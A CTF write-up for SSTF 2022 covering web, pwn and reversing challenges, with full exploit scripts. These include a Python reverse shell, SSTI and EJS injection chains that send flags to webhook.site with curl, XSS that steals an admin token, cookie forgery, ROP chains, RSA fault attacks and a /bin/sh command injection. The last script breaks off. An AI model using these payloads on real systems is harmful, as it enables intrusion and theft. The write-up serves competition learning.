# SSTF 2022 Write up ## Web ### Yet Another Injection We can get source code from hint `array_push($users, "guest:".hash("sha256", "guest"));` in login.php So we can login as guest In index.php, javascript has show_detail() show_detail() can read xml data and we can do xpath injection ```javascript show_detail("-1' or @published='no' or Idx/text()='-1"); ``` ![](https://i.imgur.com/PwRiAdv.png) ### 5degree ```python import requests import re URL = "http://5thdegree.sstf.site/" cookies = {"session": "71abe21d-a341-42d4-bb4e-bccafe2491b6"} S = requests.Session() def start(): r = S.get(URL + "/chal?") def get_next(): r = S.get(URL + "/chal?") txt = r.text m = re.search(r"\\\[ (.*) \\\]", txt) m2 = re.search(r"y, where \\\( ([-+]?[0-9]+) \\le x \\le ([-+]?[0-9]+)", txt) return (m.group(1), m2.group(1), m2.group(2)) def convert_str_to_pythoneval(eq_str): eq = eq_str.replace("^", "**").replace("x", "*x") return eq def post_next(min_val, max_val): r = S.post(URL + "/chal?", data={"min":min_val, "max": max_val}) if "Ooops" not in r.text: return True else: return False def solve(eq_str, min_val, max_val): return (min_val, max_val) start() for i in range(50): equation_string, min_val, max_val = get_next() print(equation_string,min_val, max_val) # "equation_string = -364x^5 - 260813280x^4 + 521047437232140x^3 + 342926436556601856140x^2 - 126796940609154453656796960x + 596594" # min_val = is minimum value # max_val is maximum value to get s_min_val, s_max_val = solve(equation_string, min_val, max_val) is_solved = post_next(s_min_val, s_max_val) if not is_solved: print(f"Wrong answer for \"{equation_string}\" , the answer sent was min={s_min_val} max={s_max_val} ") break ``` Use the Following python script to parse the the HTML page and solve the equation using the following logic: ``` 1. Take the left/right end points and the points with f'(x) = 0. 2. f'(x) actually has integer roots, so simple sagemath code can factor it easily. ``` ### Imageium Pillow 8.2.0 has vulnerability (CVE-2022-22817) ![](https://i.imgur.com/vVMFZgl.png) ```python exec('import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.sqli.kr",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")') ``` ![](https://i.imgur.com/YDTKsQJ.png) ### OnlineNotepad We have SSTI with `{% %}` and limitation for the character length. Note that server is using FastAPI / Not Flask. As you know, we can use `set`, `include` and arbitrary function execution (but sadly no output) with `{% %}`. So, I made some chaining for RCE using `set` and `include`. While I suffer from char lenght limitation, I found this on starlette's document. - https://www.starlette.io/requests/ So, I used `request.headers['x']` for bypassing command length limitation. My payload is like below: ```python import requests import os from binascii import hexlify from string import printable from sys import argv URL = "http://onlinenotepad.sstf.site/memo/" pw = hexlify(os.urandom(4)).decode() total_chain = 0 def make_chain(chain, pay): global total_chain, pw print("[Chain %d] length: %d"%(total_chain, len(pay))) data = {"userid":chain,"password":pw,"memo":pay} conn = requests.post(URL, json=data) total_chain += 1 #print(conn.json()) return conn.json() # def command(cmd): # global total_chain, pw # pay = '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}' # print("[Command] : %d"%(len(pay))) # data = {"userid":"bcdef","password":pw,"memo":pay} # conn = requests.post(URL, json=data) # return conn.json() def rce(cmd): global pw conn = requests.get(URL+"sqrtrev/"+pw, headers={"x":cmd}) return conn.text if __name__ == "__main__": #request.headers['search'] print(pw) make_chain("sqrtrev", '{%endraw%}{%set a=cycler%}{%include"abcde.html"%}{%raw%}') make_chain("abcde","{%endraw%}{%set b=a.__init__%}{%include'bcdef.html'%}{%raw%}") make_chain("bcdef", '{%endraw%}{%set c=request%}{%include "cdefg.html"%}{%raw%}') # command("echo '%s'>>a"%(x)) make_chain("cdefg", '{%endraw%}{%set d=c.headers%}{%include "ggggg.html"%}{%raw%}') make_chain("ggggg", "{%endraw%}{%if b.__globals__.os.popen(d['x'])%}{%endif%}{%raw%}") rce("cat flag | curl https://webhook.site/a2279e70-10fe-4ce6-acf4-e2bc3ade5d9a -X POST --data-binary @-") ``` ### JWTDecoder ``` GET / HTTP/1.1 Host: jwtdecoder.sstf.site Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Connection: close Cookie: jwt=j:{"settings":{"view options":{"outputFunctionName":"x%3bprocess.mainModule.require('child_process').execSync('curl https://yoursite.com/?x=`cat /flag.txt| base64`')%3bs"}}}; Cache-Control: max-age=0 ``` send the above request. It will send `jwt` cookie as an object. WE can achieve RCE with this controlled object when its passed to express template. refer to blog https://eslam.io/posts/ejs-server-side-template-injection-rce/ ### OnlineEducation ```python import requests URL = "http://onlineeducation.sstf.site/" s = requests.session() def login(usr, email): s.post(URL + "/signin", data={"name":usr, "email":email}, allow_redirects=True) def watch(): s.post(URL + "/status", json={"action": "start"}, allow_redirects=True) s.post(URL + "/status", json={"action": "finish", "rate":-1}, allow_redirects=True) login("pingu", "pingu@gmail.com") watch() watch() watch() print(s.cookies["EduSession"]) ``` The workflow to solve the challenge goes as follows: 1. The above script will watch all the videos using `finish_rate=-1` that will immediately finish all the lectures. As a result, it will print out the session cookie value to be reused inside the browser. 2. Since the regex to test email doesn't have `^$` check (i.e check to perform complete match), we can add extra characters after or before a valid email. For example, email can be: `pingu@gmail.com<script>x=new XMLHttpRequest();x.open('GET','file:///etc/hostname',false);x.send(); document.write(x.responseText);</script>` Thus, we just had to modify the existing script with such a (malicious) email. When converting HTML to PDF using this payload it will include the content of `/etc/hostname` file inside the generated "certificate". 3. Use this same workflow to leak `config.py` file which contains the `secret_key`: ``` (pingu@gmail.com# should be secret secret_key = "19eb794c831f30f099a31b1c095a17d6" admin_hash = "19eb794c831f30f099a31b1c095a17d6" # sample data course_data = { 'name': 'Sample Education', 'author': 'SSTF', 'vids': [ {'name': 'Course 1', 'url': '/static/vids/min_ed1081dfc91fdccefe60094faa633abc.webm', 'type': 'video/webm', 'thumbnail': '/static/vids/min.png', 'length': 60*2, 'desc': '2 mins'}, {'name': 'Course 2', 'url': '/static/vids/moment_61bfe721895bddf955f30f6ec08e165f.webm', 'type': 'video/webm', 'thumbnail': '/static/vids/moment.png', 'length': 60*15, 'desc': '15 mins'}, {'name': 'Course Final', 'url': '/static/vids/many_9fa0b0f83487974654530648c79590e2.webm', 'type': 'video/webm', 'thumbnail': '/static/vids/many.png', 'length': 60*60*25+60*15, 'desc': '? mins'}, ], } ) ``` 4. Use the leaked `secret_key` to create custom cookie value with `is_admin=True`, so we could send it to `/flag` endpoint to receive the flag. ```sh $ flask-unsign --cookie "{'email': 'foo@foo.com', 'idx': 3, 'is_admin': True, 'name': 'test'}" --secret 19eb794c831f30f099a31b1c095a17d6 -s eyJlbWFpbCI6ImZvb0Bmb28uY29tIiwiaWR4IjozLCJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3QifQ.YwStvQ.e3a0cPfsF1wCSMWv_qNDoq8Di3I ``` ![](https://i.imgur.com/s6Sgbad.png) ### DataScience Create attachment.ipynb with the following code to get XSS ```python from IPython.core.display import display, HTML display(HTML("""<select><iframe></select><img src=x onerror=import(`url`)>""")) ``` Exfil the admin's username. It's sub-admin. then import the following script ```python fetch("/hub/api/users/sub-admin/tokens", { "headers": { "accept": "application/json, text/javascript, */*; q=0.01", "accept-language": "en-US,en;q=0.9", "cache-control": "no-cache", "content-type": "application/json", "pragma": "no-cache", "x-requested-with": "XMLHttpRequest" }, "referrer": "http://datasciencecls.sstf.site/hub/token", "referrerPolicy": "strict-origin-when-cross-origin", "body": "{\"note\":\"afadsfasdf\",\"expires_in\":null}", "method": "POST", "mode": "cors", "credentials": "include" }).then(r=>r.text()).then(r=>fetch("https://webhook.site/?a="+encodeURIComponent(r))); ``` Then we have the admin api token. then get the flag with that. why sub-admin token works with admin? idk ` curl 'http://datasciencecls.sstf.site/user/admin/api/contents/flag' -X 'GET' -H 'Authorization: token 35e595c2253a45e2b19051e05db95a74'` ``` {"name": "flag", "path": "flag", "last_modified": "2022-07-29T10:23:21Z", "created": "2022-08-22T23:24:46.000195Z", "content": "SCTF{I_want_t0_b3_data_speciai1ist}\n", "format": "text", "mimetype": "text/plain", "size": 36, "writable": true, "type": "file"} ``` ### CUSES ![](https://i.imgur.com/n3OlnuA.png) The server checks the structure of decrypted `$_cookie["SESSION"]` is `iv(16byte)|id|sig` and if the `id` is `admin`, sends flag. So, it uses `aes-128-ctf` for encrypting the cookie with fixed key. Therefore, we xored `cookie["SESSION"][17:22]` by `"admin" ^ "guest"` after login as guest and gt the flag. ## Pwn ### luqwest The service provides a game-like interface. One of the features is to load a game. Reverse engineering this feature lead to the conclusion that the provided game script is base64 decoded and passed to the `lua_Load` API. In other words, it is possible to execute arbitrary lua code. However, attempting to execute malicious code `io.popen` or `os.system` is infeasible because the `io` and `os` globals are not initialized. Taking a look at the initialization code reveals that two functions, `start` and `load` are installed. ```cpp= lua_pushcclosure(L, start_hook, 0); lua_setglobal(L, "start"); lua_pushcclosure(L, load_hook, 0); lua_setglobal(L, "load"); ``` Analyzing the load implementation instantly reveals an obvious vulnerability. One of its argument is a raw pointer subject to write. The address of the write(`arg1`) can be fully controlled. The value of the write (`arg2`) is a `char *` where its contents can be fully controlled. In conclusion, we can write a `char *` to any address where the contents of the `char *` can be controlled. ```cpp int load_hook(lua_State *L) { uint64_t arg1; // [rsp+10h] [rbp-10h] uint64_t arg2; // [rsp+18h] [rbp-8h] arg1 = get_int(L); lua_pop(L); arg2 = get_text(L); if ( arg2 ) *(uint64_t *)arg1 = arg2; push_integer(L, arg1); do_strvec_write(L); push_integer(L, *(_QWORD *)(arg1 + 8)); return 2; ``` We selected the `Table` structure for the victim of the write. The `Table` structure represents an instance of the `table` data structure in lua, which is conceptually equivalent to objects or dictionaries in Python and JavaScript. ```c typedef struct Table { CommonHeader; lu_byte flags; /* 1<<p means tagmethod(p) is not present */ lu_byte lsizenode; /* log2 of size of 'node' array */ unsigned int alimit; /* "limit" of 'array' array */ TValue *array; /* array part */ Node *node; Node *lastfree; /* any free position is before this position */ struct Table *metatable; GCObject *gclist; } Table; ``` We constructed a strategy based on the following intutition: values in the table are actually stored inside `TValue *array`, and its integer index can be calculated without its contents. Thus, if we change `array` to a pointer whose contents we can control, we can forge arbitrary `TValue` structures by reading fields from the victim table. Below is a minimal PoC that forges a `CClosure` value and calls it, resulting in an invalid jump to address 0xdeadbeef. Now we have RIP control. ```lua= victim = {} address = tonumber(string.format("%p", victim)) tbl2 = {} tbl3 = {} tbl3["text"] = p64(0xdeadbeef) .. string.char(0x16) load(tbl2,tbl3,address+16) victim[1]() ``` To leak libc, we constructed an aribtrary read primitive using lua String types. Then, using the RIP control primitive, we called an one-gadget. ```lua= function p64(x) cur = x out = "" for i = 0,7,1 do out = out .. string.char(cur & 0xFF) cur = cur >> 8 end return out end pie_leak = tonumber(string.format("%p", load)) elf = pie_leak - 0x42b5 tbl2 = {} tbl3 = {} tbl2["onEnter"] = 1 test = {1, 2, 3, 4} address = tonumber(string.format("%p", test)) startAddress = tonumber(string.format("%p", start)) funcAddress = elf+0x231010 tbl3["text"] = p64(funcAddress) .. string.char(0x44) load(tbl2,tbl3,address+16) stdin = string.unpack("<L", string.sub(test[1], 0x9, 0x11)) libc = stdin - 0x3eba00 tbl2 = {} tbl3 = {} tbl2["onEnter"] = 1 test = {1, 2, 3, 4} address = tonumber(string.format("%p", test)) startAddress = tonumber(string.format("%p", start)) funcAddress = libc + 0x10a2fc tbl3["text"] = p64(funcAddress) .. string.char(0x16) load(tbl2,tbl3,address+16) test[1]() while(1) do end ``` ### Dr Strange The service is an one-time encryption service, where the key of the encryption is the flag. I noticed two 'peculiarities'. * Python's string implementation causes the `ord` method to yield values larger than 255. For example, `ord("ׯ")` is equal to 1519. * The encryption exponent is dependent on the plaintext. By using these two properties, I devised a timing based side channel attack to leak the encryption key byte by byte. The vulnerability is caused due to the following lines of code: ```python= d = (ord(KEY[ i % len(KEY) ]) ^ p) * ord(KEY[ (i+1) % len(KEY) ]) e = (d << p) % 500009 for pad in range (0, 6-len(str(e))): e*=10 o = pow(p, e) ``` The execution time of the last line is highly dependent on `e`. If `p` and `e` are large, its execution time becomes considerably high. However, if `e` is 0, its execution time becomes negligible. `e` becomes 0 if `ord(KEY[ i % len(KEY) ]) ^ p == 500009`. Therefore, if we iterate over `c` and attempt all decryptions such that `p = 500009 ^ c` and select `c` with the smallest execution time, we can leak the flag. Below is the exploit code ran on the remote box, which leaks a byte of the flag. We couldn't leak the entire flag due to timeouts in the remote box. ```python= from socket import * import sys import base64 import string import time def recvuntil(s, b): data = b"" while True: data += s.recv(1) if data.endswith(b): return data def encrypt(x): s = socket(AF_INET, SOCK_STREAM) s.connect(("0.0.0.0", 31337)) recvuntil(s, b">") s.send(x.encode() + b"\n") t = time.time() recvuntil(s,b"value") return time.time() - t def routine(c): test_str = FLAG[:] test_str[-1] = chr(ord(c) ^ 500009) test_str = "".join(test_str) t = encrypt(test_str) return t if __name__ == "__main__": res = {} c = sys.argv[2] FLAG = list(sys.argv[1] + "*") if routine(c) < 0.1: print("CORRECT!!!") else: print("WRONG!!!") ``` ### pppr The service has a simple buffer overflow, reading 64 bytes into a 4 byte stack variable. From here, it's just to provide a x86 ropchain, to call `r(buf_in_bss, 128, 0)` to read `/bin/sh` to a known address and then call `x(buf_in_bss)` to finally call `system("/bin/sh")`. ```python= #!/usr/bin/python from pwn import * import sys LOCAL = True HOST = "pppr.sstf.site" PORT = 1337 PROCESS = "./pppr" def exploit(r): POP = 0x080485e7 POP3 = 0x80486a9 payload = "A"*12 payload += p32(e.symbols["r"]) payload += p32(POP3) payload += p32(e.symbols["buf_in_bss"]) payload += p32(128) payload += p32(0) payload += p32(e.symbols["x"]) payload += p32(POP) payload += p32(e.symbols["buf_in_bss"]) r.sendline(payload) pause() r.sendline("/bin/sh\x00") r.interactive() return if __name__ == "__main__": e = ELF("./pppr") if len(sys.argv) > 1: LOCAL = False r = remote(HOST, PORT) else: LOCAL = True r = process("./pppr") print (util.proc.pidof(r)) pause() exploit(r) ``` ### PoWdle > PoW + wordle challenge Since it is pwnable challenge, first we have to find a vector to get the shell or read the flag. This is done by achieving >3000 score and setting email like `'";/bin/sh;"' + '@'*0x780 + '.'*0x780 + ' 1'`. The front part (`'";/bin/sh;"'`) is to inject command into `os.system` and the remaining part is used to trigger catastrophic backtracking to get timeout so that command injection actually occurs. There is no other ways to bypass PoWdle puzzle... So I quickly implemented PoWdle solver. The final exploit code is as below. I've run this code multiple times to get proper score. ```python= #!/usr/bin/env python3 from pwn import * from hashlib import sha256 from itertools import product import string import random from timeout_decorator import timeout, TimeoutError chars = string.ascii_letters + string.digits + string.punctuation def cand_gen(): length = 1 while True: for cand in product(chars, repeat=length): yield ''.join(cand) length += 1 IP, PORT = "powdle.sstf.site", 9999 context(terminal=["tmux", "split", "-h"], log_level="info", aslr=False) p = remote(IP, PORT) p.sendlineafter(b": ", b"\";/bin/sh;\"" + b"@"*0x780 + b"."*0x780 + b" 1") def find_sth(gen, prefix, goals, available, yellows, prevs): for cand in gen: m = sha256((prefix + cand).encode()).hexdigest()[:5] if m in prevs: continue for i, c in enumerate(m): if c not in available: break if goals[i] and goals[i] != c: break if c in yellows[i]: break else: for i, s in yellows.items(): [21/18436] mm = m[:i] + m[i+1:] if not all(map(lambda x: x in mm, s)): break else: print("{} -> {}".format(prefix + cand, m)) return prefix + cand @timeout(30) def round(): global prefix global cnt available = set("0123456789abcdef") yellows = {} for i in range(5): yellows[i] = set() answer = [None]*5 prevs = set() generator = cand_gen() p.recvuntil(b"Round") p.recvline() prefix = p.recvline().split(b": ")[1].strip().decode() go = prefix while True: data = p.sendlineafter(b": ", go) cnt = int(data.split(b"#")[1][:-2]) for i in range(cnt - 1): p.recvline() res = p.recvline().split(b" \033[0m ")[:-1] p.recvline() if b"Try again!" in p.recvline(): current = "" for i, c in enumerate(res): current += chr(c[-1]) if c.startswith(b"\033[100m"): for i in yellows: yellows[i].discard(chr(c[-1])) available.discard(chr(c[-1])) elif c.startswith(b"\033[43m"): yellows[i].add(chr(c[-1])) else: answer[i] = chr(c[-1]) prevs.add(current) print(available) print(yellows) print(answer) go = find_sth(generator, prefix, answer, available, yellows, prevs) print("Next: " + go) else: break for _ in range(5): try: round() except TimeoutError: for i in range(10 - cnt): p.sendline(prefix) context(log_level="info") p.interactive() ``` ### pwnkit Use 1-day exploit -> [link](https://github.com/berdav/CVE-2021-4034) Or... 1. Run `watch -n 1 ps -aux` on the server. 2. Track all the bash's cwd with `echo $(realpath /proc/[pid]/cwd)` 3. Check interesting codes and exploits. 4. Intercept others' exploit. (In our case, `/tmp/wotmdtit`) 5. Get flag ### Secure Runner & Secure Runner 2 The binary is simple command runner with RSA signing. Both version have same vulnerability introduced: FSB to overwrite 8 bytes with 0 into heap address. There are GMP number values in the heap, so we can overwrite some cryptographic numbers used in RSA w/ CRT such as `n`, `p`, `q`, `d_p`, ... #### Case1: Secure Runner It uses RSA w/ CRT without any sort of sanity checks. So we can do fault attack by overwrite `d_p` or `d_q` ```python= #!/usr/bin/env python3 from pwn import * import subprocess local = 0 BIN = "./SecureRunner" IP, PORT = "securerunner.sstf.site", 1337 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: p = process(BIN.split()) # p = process(BIN.split(), env={"LD_PRELOAD":""}) else: p = remote(IP, PORT) elf = ELF(BIN.split(" ")[0]) def one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] p.sendlineafter(b" > ", b"2") n = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) p.sendlineafter(b" > ", b"3") sig = int(p.recvline().split(b" = ")[1]) p.sendlineafter(b" > ", b"9999") p.sendline(str(-0x110*3)) p.sendline(b"%7$n") p.sendlineafter(b" > ", b"3") sig2 = int(p.recvline().split(b" = ")[1]) from Crypto.Util.number import bytes_to_long, long_to_bytes import math cmd = b"ls -la /" P = math.gcd(pow(sig2, e, n) - bytes_to_long(cmd), n) Q = n // P d = pow(e, -1, (P-1)*(Q-1)) cmd = b"/bin/sh" sig = pow(bytes_to_long(cmd), d, n) p.sendlineafter(b" > ", b"4") p.sendlineafter(b" > ", cmd) p.sendlineafter(b" > ", str(sig)) context(log_level="info") p.interactive() ``` #### Case2: Secure Runner 2 In this case, we cannot forge `p`, `q`, `d_p`, `d_q` since it checks pre-evaluated xor value with the current evaulation result before signing. But there is another room for fault attack: [link](https://www.normalesup.org/~tibouchi/papers/talk-modulusfault.pdf) It says a fault in modulus can be harmful. ```python= #!/usr/bin/env python3 from pwn import * import subprocess from sage.all import * from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes from tqdm import tqdm local = 0 BIN = "./SecureRunner" IP, PORT = "eca189e9.sstf.site", 1337 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: p = process(BIN.split()) # p = process(BIN.split(), env={"LD_PRELOAD":""}) else: p = remote(IP, PORT) elf = ELF(BIN.split(" ")[0]) def one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')] p.sendlineafter(b" > ", b"2") N = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) sigs = [] for i in range(6): p.sendlineafter(b" > ", b"1") p.sendlineafter(b") > ", str(i).encode()) p.sendlineafter(b" > ", b"3") sigs.append(int(p.recvline().split(b" = ")[1])) p.sendlineafter(b" > ", b"9999") p.sendline(str(-0x110*8)) p.sendline(b"%7$n") p.sendlineafter(b" > ", b"2") Nalt = int(p.recvline().split(b" = ")[1]) e = int(p.recvline().split(b" = ")[1]) altsigs = [] for i in range(6): p.sendlineafter(b" > ", b"1") p.sendlineafter(b") > ", str(i).encode()) p.sendlineafter(b" > ", b"3") altsigs.append(int(p.recvline().split(b" = ")[1])) cmds = [ b"ls -la /", b"pwd -P", b"cat /etc/os-release", b"cat /etc/lsb-release", b"ls -l /lib/x86_64-linux-gnu/libgmp*", b"cat /flag", ] def nthroot(a, n): return Integer(a).nth_root(n, truncate_mode = True)[0] msg = list(map(bytes_to_long, cmds)) corr = sigs tamp = altsigs res = [crt(corr[i], tamp[i], N, Nalt) for i in range(6)] N_fin = N * Nalt M = Matrix(ZZ, 6, 6) M[0, 0] = N_fin for i in range(5): M[i + 1, 0] = - res[i + 1] * inverse(res[0], N_fin) M[i + 1, i + 1] = 1 M = M.LLL() sqs = nthroot(N, 2) for i in range(5): s = 0 for j in range(6): s += M[i, j] ** 2 l = nthroot(s, 2) sc = 1 << 1024 F = Matrix(ZZ, 6, 10) for i in range(6): for j in range(4): F[i, j] = sc * M[j, i] F[i, 4 + i] = 1 F = F.LLL() vec1 = [F[0, i] for i in range(4, 10)] vec2 = [F[1, i] for i in range(4, 10)] flag = False for s in tqdm(range(-100, 100)): for t in range(-100, 100): gg = N for i in range(6): cc = res[i] - (s * vec1[i] + t * vec2[i]) gg = GCD(gg, abs(cc)) if gg != 1 and gg != N: print("FOUND") flag = True break if flag: break if not flag: print(hex(N)) print(hex(Nalt)) print(list(map(hex, sigs))) print(list(map(hex, altsigs))) print(cmds) exit() P = gg Q = N // gg d = pow(e, -1, (P-1)*(Q-1)) cmd = b"/bin/sh" sig = pow(bytes_to_long(cmd), int(d), int(N)) p.sendlineafter(b" > ", b"4") p.sendlineafter(b" > ", cmd) p.sendlineafter(b" > ", str(sig)) context(log_level="info") p.interactive() ``` The algorithm to find the reduced basis for the orthogonal basis is from [here](https://eprint.iacr.org/2020/461.pdf) ### riscy Just easy ROP on `riscv:64` ```python= from pwn import * main = 0x104AE ''' 43c14: 70e2 ld ra,56(sp) 43c16: 7502 ld a0,32(sp) 43c18: 6121 addi sp,sp,64 43c1a: 8082 ret ''' gadget1 = 0x43c14 ''' 41782: 832a mv t1,a0 41784: 60a6 ld ra,72(sp) 41786: 6522 ld a0,8(sp) 41788: 65c2 ld a1,16(sp) 4178a: 6662 ld a2,24(sp) 4178c: 7682 ld a3,32(sp) 4178e: 7722 ld a4,40(sp) 41790: 77c2 ld a5,48(sp) 41792: 7862 ld a6,56(sp) 41794: 6886 ld a7,64(sp) 41796: 2546 fld fa0,80(sp) 41798: 25e6 fld fa1,88(sp) 4179a: 3606 fld fa2,96(sp) 4179c: 36a6 fld fa3,104(sp) 4179e: 3746 fld fa4,112(sp) 417a0: 37e6 fld fa5,120(sp) 417a2: 280a fld fa6,128(sp) 417a4: 28aa fld fa7,136(sp) 417a6: 6149 addi sp,sp,144 417a8: 8302 jr t1 ''' gadget2 = 0x41782 ''' 43a86: e11c sd a5,0(a0) 43a88: 60a2 ld ra,8(sp) 43a8a: 0141 addi sp,sp,16 43a8c: 8082 ret ''' gadget3 = 0x14944 ecall = 0x268D0 p = remote('riscy.sstf.site', 18223) pay = b'A' * 0x28 pay += p64(gadget1) pay += b'A' * 32 pay += p64(gadget3) # ra pay += b'A' * 16 pay += p64(gadget2) # a0 pay += p64(0) # +0 pay += p64(0x6D000) # a0 +8 pay += p64(0) # a1 +16 pay += p64(0) # a2 +24 pay += p64(int.from_bytes(b'/bin/sh\x00', 'little')) # a3 +32 pay += p64(0x6D010) # a4 +40 pay += p64(0) # a5 +48 pay += p64(0) # a6 +56 pay += p64(221) # a7 +64 pay += p64(ecall) # ra +72 pay += p64(0) # fa0 pay += p64(0) # fa1 pay += p64(0) # fa2 pay += p64(0) # fa3 pay += p64(0) # fa4 pay += p64(0) # fa5 pay += p64(0) # fa6 pay += p64(0) # fa7 ######################## 256 end here pay += p64(0) p.sendafter(b':', pay) p.interactive() ``` ## Rev ### Crack Me! Whatever the encoding algorithm the binary has, we can get encoding result by breakpoint to `0x29EF` and see `*(rdi+0x20)`. After some guessing with various input, only 1~2 bytes of input effects to 1~2 bytes of output. So, we solved by making table of input-output pair by bruteforce. ```python= from pwn import * import multiprocessing def job(i): print(i) p = process(["gdb", "./crackme"]) p.sendlineafter("(gdb) ", "b *0x00005555555569f3") d = {} for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_": p.sendlineafter("(gdb) ", "r") p.sendlineafter(" : ", i + j) p.sendlineafter("(gdb) ", "x/s $rdi") if i == j: d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()[:2]] = i else: d[p.recvline().split(b":\t")[1].strip()[1:-1].decode()] = i + j p.sendline("q") p.close() return d pool_obj = multiprocessing.Pool(5) res = pool_obj.map(job, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_") d = {} for i in res: d = {**d, **i} enc = "ubx1uP9vh@kq9xXxF4Cxp93u319085" flag = "" for i in range(15): flag += d[enc[2*i:2*i+2]] print(flag) ``` ### Flag Digging `Have you ever stolen 3d asset rendered in WebGL?` First, we deobfuscated the Javascript code and started analysing it. After lots of "digging", we found a routine used for drawing triangles and reduced the hardcapped number of objects to be drawn to half: ![](https://i.imgur.com/PVCwukM.png) As a result, we got a partially rendered model, with a readable flag: ![](https://i.imgur.com/AljMEEy.png) ### Maze Adventure `Finally, I developed 3d maze adventure game. I think it will be very difficult to defeat final stage without any game cheat or wonderful maze solving skill.` There were 3 levels of a maze, where it was virtually impossible to pass all of them (to get the flag) without any cheating. Started with the `GameConqueror` and had some partial success in passing the requirements (e.g. increasing the time limit and money), but we were stuck on how to actually pass the last (3rd) level. ![](https://i.imgur.com/Wj2Ku5H.png) After lots of in-memory digging, we started to analyse the game files and files being written to the disk. At the end, we found out that game is using LevelDB to store current game status (for resume on game reload). For "cheating" purposes, we did the following: ```sh $ python3 -m pip install plyvel Installing collected packages: plyvel Successfully installed plyvel-1.4.0 $ python3 Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import plyvel >>> db = plyvel.DB('/home/stamparm/.config/maze-adventure/Local Storage/leveldb', create_if_missing=False) >>> [_ for _ in db.iterator()] [(b'META:file://', b'\x08\xcc\xf4\x84\xb2\xa3\xae\xd1\x17\x10f'), (b'VERSION', b'1'), (b'_file://\x00\x01MONEY', b'\x010'), (b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01false'), (b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,false,false,false]'), (b'_file://\x00\x01TIME_LIMIT', b'\x01120'), (b'_file://\x00\x01WALK_SPEED', b'\x011')] >>> db.put(b'_file://\x00\x01PATHFINDER_ENABLED', b'\x01true') >>> db.put(b'_file://\x00\x01STG_ACCESS_INFO', b'\x01[true,true,true,true]') >>> db.put(b'_file://\x00\x01TIME_LIMIT', b'\x0111120') >>> db.put(b'_file://\x00\x01WALK_SPEED', b'\x0150') >>> db.put(b'_file://\x00\x01MONEY', b'\x012147483647') >>> db.close() ``` Notice that additionally to obvious `MONEY`, `WALK_SPEED` and `TIME_LIMIT` we also modified the values for `PATHFINDER_ENABLED` (boolean value enabling nice "pathfinder" functionality inside the game) and `STG_ACCESS_INFO` (array of boolean values giving playing access to levels). At the end, we reloaded the game, started to play the 3rd level and just followed the path-finding route. At the end, we succeeded in getting the flag from the menu (by having all requirements satisfied): ![](https://i.imgur.com/UEA1Nb9.png) ### DocxArchive After extracting the docs file by magic of 7zip, there is a suspicious file `word\embeddings\oleObject1.bin`. After 7zip magic once more, there is EMF file called `Open-Me.bin` in `[1]Ole10Native`. We can see the flag after removing some data for proper emf file. <img src="https://i.imgur.com/JWWXFiU.png" alt="drawing" width="300"/> ### Facing Worlds This wav file has two channel and two channel's wave is different. Let's mix these two channel and remove the common part. https://cdn.discordapp.com/attachments/816203216751558678/1011563880679481365/unreal_mix.wav In each interval, make sound is 1 otherwise 0. <img src="https://i.imgur.com/GSy25yD.png" alt="drawing" width="300"/> `11001010110000100010101001100010110111101010101001110110010011101100110010000110001100101111101001001100111110101110011000001100111110100100011000000010110001101101011011111010100101100111001011111010001010101001011010110110110011001011111` Revert and int to bytes give us flag. `SCTF{Unr3aL_2_g0_b@ck_iN_Tim3}` ### holdthedoor Auto reverse the class file and find the correct path. But there are some wrong path, 1) results "Nope" Exception, 2) unreachable path because of impossible key. With simple code parser for decompiled code from jd-gui and perform DFS, we can get flag. ```python= d = {} import math for i in range(0, 2001): if i == 981: f = open("Last.java", "rt").readlines() else: f = open("C%d.java"%(i), "rt").readlines() info = {} j = 0 while True: if f[j].find("extends") != -1: l = f[j].split(" ")[-1].strip() extend = l break j += 1 j = 6 while True: l = f[j][8:].strip() if l.startswith("throw new"): info[f[j-1].split("void ")[1].split("(")[0]] = "" elif l.startswith("code.append("): info[f[j-1].split("void ")[1].split("(")[0]] = l.split('"')[1] else: break j += 5 for k in range(5): if not "f%d"%(k) in info: info["f%d"%(k)] = d[extend]["f%d"%(k)] info["next"] = {} for k in range(j, len(f)): l = f[k][8:].strip() if l.startswith("if ("): nxt = {} l = l.split("(")[1].split(")")[0].split(" ") v1 = int(l[0][:-1]) v2 = int(l[-3][:-1]) v3 = int(l[-1][:-1]) op1 = l[1] op2 = l[-6] if op2 == "+": v2 = -v2 key = -1 x1 = -int((-v2 + math.sqrt(v2**2 + 4 * v3)) / 2) x2 = -int((-v2 - math.sqrt(v2**2 + 4 * v3)) / 2) info["debug"] = [v1, v2, v3, op1, op2, x1, x2] if op1 == "<": if v1 < x1: key = x1 if v1 < x2: key = x2 else: if v1 > x1: key = x1 if v1 > x2: key = x2 if key != -1: l = f[k+1][8:].strip().split(" ")[-1].split("(")[0] info["next"][key] = l if l == "Abstract next = getNext();": break k += 1 seq = [] while True: l = f[k][8:].strip() if l.startswith("next.f"): seq.append((True, "f" + l.split("(")[0][-1])) if l.startswith("f"): seq.append((False, "f" + l.split("(")[0][-1])) k += 1 if len(f[k]) < 8: break info["code"] = 